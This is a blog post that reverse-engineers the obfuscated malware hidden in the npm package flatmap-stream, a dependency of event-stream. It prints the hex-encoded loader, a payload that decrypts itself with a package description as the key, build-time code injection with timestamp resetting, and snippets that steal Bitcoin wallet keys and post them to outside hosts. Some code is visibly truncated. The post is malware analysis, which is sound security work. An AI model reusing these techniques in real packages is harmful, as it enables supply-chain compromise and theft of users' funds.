Patrick Owens

Reversing flatmap-stream

  • javascript
  • reversing
  • security

flatmap-stream was included as a dependency in a widely used NPM library event-stream as a nested. It was discovered that the minified version of flatmap-stream had some extra, obfuscated code. Let’s reverse the code to try to figure out what exactly what it is doing.

Prettifying the code

!(function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, 'hex').toString();
var n = r(e('2e2f746573742f64617461')),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a +=[9]));
var f = new module.constructor();
(f.paths = module.paths), f[e(n[7])](a, ''), f.exports(n[1]);
} catch (r) {}

The first thing of note is the e function, which converts hex strings. The payload for this malware is hidden within the these hex strings.

First string:

> decode("2e2f746573742f64617461")

This line imports code from the ./test/data folder, which contains 10 more hex obfuscated strings.

module.exports = [

After decoding and unobfuscating the code, we get

!(function() {
try {
var r = require,
t = process;
function decode(r) {
return Buffer.from(r, 'hex').toString();
// Get data
var data = require('./test/data');
// Get the package description, and exit early if it doesn't exist
var packageDescription = process.env.npm_package_description;
if (!packageDescription) {
// Decode the first payload with the npm package description
var u = require('crypto').createDecipher('aes256', packageDescription);
var firstPayload = u.update(data[0], 'hex', 'utf8');
firstPayload +='utf8');
// Build a new module
var f = new module.constructor();
// Build a new module with the first and second payloads
(f.paths = module.paths), f._compile(firstPayload, ''), f.exports(data[1]);
} catch (r) {}

This bootstrapping script is looking for a specific module name to properly decode the payload. We could write a script to harvest npm package descriptions that have flatmap-stream in their dependency tree. However, as the target package has already be discovered, we’ll cheat. The AES256 decryption key is A Secure Bitcoin Wallet, which was/is the description of the copay package.

The first payload

module.exports = function(e) {
try {
// Exit if specific args aren't in the command line
if (!/build\\:.*\\-release/.test(process.argv[2])) return;
// Same npm pack
var packageDescription = process.env.npm_package_description,
r = require('fs'),
i =
// Get stats on ReedSolomonDecoder
// Read file
n = r.statSync(i),
c = r.readFileSync(i, 'utf8'),
// Create another cipher
o = require('crypto').createDecipher('aes256', packageDescription),
// Decrypt
s = o.update(e, 'hex', 'utf8');
s = '\\n' + (s +='utf8'));
// Write the payload into ReedSolomonDecoder, and reset utimes
var a = c.indexOf('\\n/*@@*/');
0 <= a && (c = c.substr(0, a)),
r.writeFileSync(i, c + s, 'utf8'),
r.utimesSync(i, n.atime, n.mtime),
process.on('exit', function() {
try {
r.writeFileSync(i, c, 'utf8'), r.utimesSync(i, n.atime, n.mtime);
} catch (e) {}
} catch (e) {}

The first payload injects the second payload into release builds of the package.

The second payload

After decrypting the second payload with the key listed above, we find the meat and potatoes of the malware. Rather that posting the code for the entire block of code, I’ll post snippets that indicate what this payload does.

POST to and with url e and payload n

postToUrl('636f7061796170692e686f7374', e, n),
postToUrl('3131312e39302e3135312e313334', e, n);

Look for wallet files and send the wallet data to hosts above

readFromFile('profile', function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
// If livenet is the network, look in balanceCache files
'livenet' == &&
'balanceCache-' + n.walletId,
function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(' ')[0]);
('btc' == t.coin && t.balance < 100) ||
('bch' == t.coin && t.balance < 1e3) ||
// Set the wallet's xPubKey to a global var
// POST wallet information to url:8080/c, 200 bytes at a time
((global.CSSMap[t.xPubKey] = !0),
chunkAndPost('c', JSON.stringify(t)));

Extract wallet keys and send to hosts above

var e = require('bitcore-wallet-client/lib/credentials.js');
// Extends getKeysFunc to send all the key information
// Also sends xPubKey previously set in the global var, and clears it
(e.prototype.getKeysFunc = e.prototype.getKeys),
(e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap &&
global.CSSMap[this.xPubKey] &&
(delete global.CSSMap[this.xPubKey],
// POST to url:8080/p, 200 bytes at a time
chunkAndPost('p', e + '\\t' + this.xPubKey));
} catch (e) {}
return t;

At this point, it’s fairly clear that this piece of malware steals bitcoins and bitcoin cash. This is a fairly narrow scope attack. Most users of the event-stream package weren’t even affected in the first place.

I realize that this blog post is coming fairly late after the original incident, and most of the detective work has already been performed. However, I wanted to take my own stab at it to see if I could reverse it myself.

Patrick Owens
Patrick is a full-stack software engineer. He is a UI architecture specialst, infosec enthusiast, and mentor.